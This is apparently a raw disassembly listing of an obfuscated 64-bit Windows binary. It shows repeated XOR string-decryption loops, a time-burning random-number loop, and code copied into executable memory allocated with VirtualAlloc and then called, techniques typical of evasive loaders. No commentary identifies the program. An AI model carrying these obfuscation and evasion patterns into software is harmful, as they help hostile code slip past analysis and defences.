imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x14022d660
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rdi
mov qword [rsp + 0x308], rdi
lea rax, [rsp + 0x620]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022d6e0
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x2f0]
call fcn.140206910
lea rcx, [rsp + 0x2f0]
call fcn.1401fa260
movups xmm0, xmmword [0x14026b450]
movups xmmword [rsp + 0x810], xmm0
movups xmm1, xmmword [0x14026b460]
movups xmmword [rsp + 0x820], xmm1
movups xmm0, xmmword [0x14026b470]
movups xmmword [rsp + 0x830], xmm0
movups xmm1, xmmword [0x14026b480]
movups xmmword [rsp + 0x840], xmm1
movups xmm0, xmmword [0x14026b490]
movups xmmword [rsp + 0x850], xmm0
movups xmm1, xmmword [0x14026b4a0]
movups xmmword [rsp + 0x860], xmm1
movups xmm0, xmmword [0x14026b4b0]
movups xmmword [rsp + 0x870], xmm0
movups xmm1, xmmword [0x14026b4c0]
movups xmmword [rsp + 0x880], xmm1
mov eax, dword [0x14026b4d0]
mov dword [rsp + 0x890], eax
movzx eax, word [0x14026b4d4]
mov word [rsp + 0x894], ax
mov r9d, edi
cmp ebx, 2
jl 0x14022d949
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x814]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x14022d7c0
cmp r9d, 0x86
jge 0x14022d9b4
movsxd rax, r9d
lea r10, [rsp + 0x810]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x14022d960
xorps xmm0, xmm0
movups xmmword [rsp + 0x588], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x598], xmm1
lea rax, [rsp + 0x810]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14022d9d6
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0x588]
call fcn.140206910
nop
lea rcx, [rsp + 0x588]
call fcn.1401f8400
nop
lea rcx, [rsp + 0x588]
call fcn.140236770
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x9634], 0xffffffff
mov dword [rsp + 0x82b4], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x82b4], eax
inc rdx
cmp rdx, 0x270
jb 0x14022da30
mov dword [rsp + 0x82b0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r15, qword [rsp + 0xb20]
add r15, 0x5f5e100
mov ebx, 1
lea rcx, [rsp + 0x7f8]
call fcn.1401f17b0
cmp qword [rax], r15
jge 0x14022dc0e
mov r14d, 0x186a0
nop
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022dadb
nop dword [rax + rax]
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022dac0
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xb20], eax
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022db2b
nop
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022db10
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022db7b
nop
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022db60
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022dbcb
nop
lea rcx, [rsp + 0x82b0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022dbb0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xb20]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r14, rbx
jne 0x14022daa0
jmp 0x14022da82
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [str.N_5_4_____r_a3_w]
movups xmmword [rsp + 0x5d0], xmm0
movups xmm1, xmmword [0x14026d440]
movups xmmword [rsp + 0x5e0], xmm1
movups xmm0, xmmword [0x14026d450]
movups xmmword [rsp + 0x5f0], xmm0
movups xmm1, xmmword [0x14026d460]
movups xmmword [rsp + 0x600], xmm1
mov eax, dword [0x14026d470]
mov dword [rsp + 0x610], eax
movzx eax, word [0x14026d474]
mov word [rsp + 0x614], ax
movzx eax, byte [0x14026d476]
mov byte [rsp + 0x616], al
mov r9d, edi
cmp dword [0x14027e090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x14022de33
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x5d4]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x14022dcb0
cmp r9d, 0x47
jge 0x14022dea1
movsxd rax, r9d
lea r10, [rsp + 0x5d0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x14022de50
xorps xmm0, xmm0
movups xmmword [rsp + 0x5a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5b8], xmm1
lea rax, [rsp + 0x5d0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14022dec3
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x5a8]
call fcn.140206910
nop
lea rcx, [rsp + 0x5a8]
call fcn.1401f8400
nop
lea rcx, [rsp + 0x5a8]
call fcn.140236770
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x168], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140282110]
test rcx, rcx
je 0x14022df8e
mov r8, rdi
lea rax, [0x1402385f0]
cmp rcx, rax
je 0x14022df7d
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x282110]
test rcx, rcx
jne 0x14022df64
jmp 0x14022df8e
mov r8, qword [rsi + r8*8 + 0x2843f0]
test r8, r8
jne 0x14022e086
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14022dfb7
mov r8, rdi
jmp 0x14022e05e
lea rax, [0x1402385f0]
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022dfd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140282760]
lea rcx, [0x1402385f0]
mov qword [rsi + rax*8 + 0x282110], rcx
mov qword [rsi + rax*8 + 0x2843f0], r8
inc rax
mov qword [0x140282760], rax
lea rdx, [rsp + 0x168]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [0x14026b768]
movups xmmword [rsp + 0x488], xmm0
movups xmm1, xmmword [0x14026b778]
movups xmmword [rsp + 0x498], xmm1
movups xmm0, xmmword [0x14026b788]
movups xmmword [rsp + 0x4a8], xmm0
movsd xmm0, qword [0x14026b798]
movsd qword [rsp + 0x4b8], xmm0
movzx eax, byte [0x14026b7a0]
mov byte [rsp + 0x4c0], al
mov r9d, edi
cmp dword [0x14027e090], 2
jl 0x14022e2a4
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x48c]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14022e121
cmp r9d, 0x39
jge 0x14022e311
movsxd rax, r9d
lea r10, [rsp + 0x488]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x14022e2c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x4d8], xmm1
lea rax, [rsp + 0x488]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14022e333
lea rdx, [rsp + 0x488]
lea rcx, [rsp + 0x4c8]
call fcn.140206910
nop
lea rcx, [rsp + 0x4c8]
call fcn.1401f8400
nop
lea rcx, [rsp + 0x4c8]
call fcn.140236770
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x16c], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140282110]
test rcx, rcx
je 0x14022e3fe
mov r8, rdi
lea rax, [0x1402385f0]
cmp rcx, rax
je 0x14022e3ed
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x282110]
test rcx, rcx
jne 0x14022e3d4
jmp 0x14022e3fe
mov r8, qword [rsi + r8*8 + 0x2843f0]
test r8, r8
jne 0x14022e4f6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14022e427
mov r8, rdi
jmp 0x14022e4ce
lea rax, [0x1402385f0]
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022e440
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140282760]
lea rcx, [0x1402385f0]
mov qword [rsi + rax*8 + 0x282110], rcx
mov qword [rsi + rax*8 + 0x2843f0], r8
inc rax
mov qword [0x140282760], rax
lea rdx, [rsp + 0x16c]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [0x14026af88]
movups xmmword [rsp + 0x670], xmm0
movups xmm1, xmmword [0x14026af98]
movups xmmword [rsp + 0x680], xmm1
movups xmm0, xmmword [0x14026afa8]
movups xmmword [rsp + 0x690], xmm0
movsd xmm0, qword [0x14026afb8]
movsd qword [rsp + 0x6a0], xmm0
mov r9d, edi
cmp dword [0x14027e090], 2
jl 0x14022e70b
mov edx, edi
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x674]
nop word [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14022e590
jmp 0x14022e76c
lea r10, [rsp + 0x670]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x14022e720
xorps xmm0, xmm0
movups xmmword [rsp + 0x508], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x518], xmm1
lea rax, [rsp + 0x670]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14022e790
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x508]
call fcn.140206910
nop
lea rcx, [rsp + 0x508]
call fcn.1401f8400
nop
lea rcx, [rsp + 0x508]
call fcn.140236770
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x170], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140282110]
test rcx, rcx
je 0x14022e85b
mov r8, rdi
lea rax, [0x1402385f0]
cmp rcx, rax
je 0x14022e84a
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x282110]
test rcx, rcx
jne 0x14022e831
jmp 0x14022e85b
mov r8, qword [rsi + r8*8 + 0x2843f0]
test r8, r8
jne 0x14022e947
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14022e884
mov r8, rdi
jmp 0x14022e91f
lea rax, [0x1402385f0]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022e891
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140282760]
lea rcx, [0x1402385f0]
mov qword [rsi + rax*8 + 0x282110], rcx
mov qword [rsi + rax*8 + 0x2843f0], r8
inc rax
mov qword [0x140282760], rax
lea rdx, [rsp + 0x170]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [str.P_67.h_86_3__02_]
movups xmmword [rsp + 0x6a8], xmm0
movups xmm1, xmmword [0x14026b990]
movups xmmword [rsp + 0x6b8], xmm1
movups xmm0, xmmword [0x14026b9a0]
movups xmmword [rsp + 0x6c8], xmm0
movsd xmm0, qword [0x14026b9b0]
movsd qword [rsp + 0x6d8], xmm0
mov r9d, edi
mov ebx, dword [0x14027e090]
cmp ebx, 2
jl 0x14022eb5b
mov edx, edi
movdqa xmmword [rsp + 0xb20], xmm9
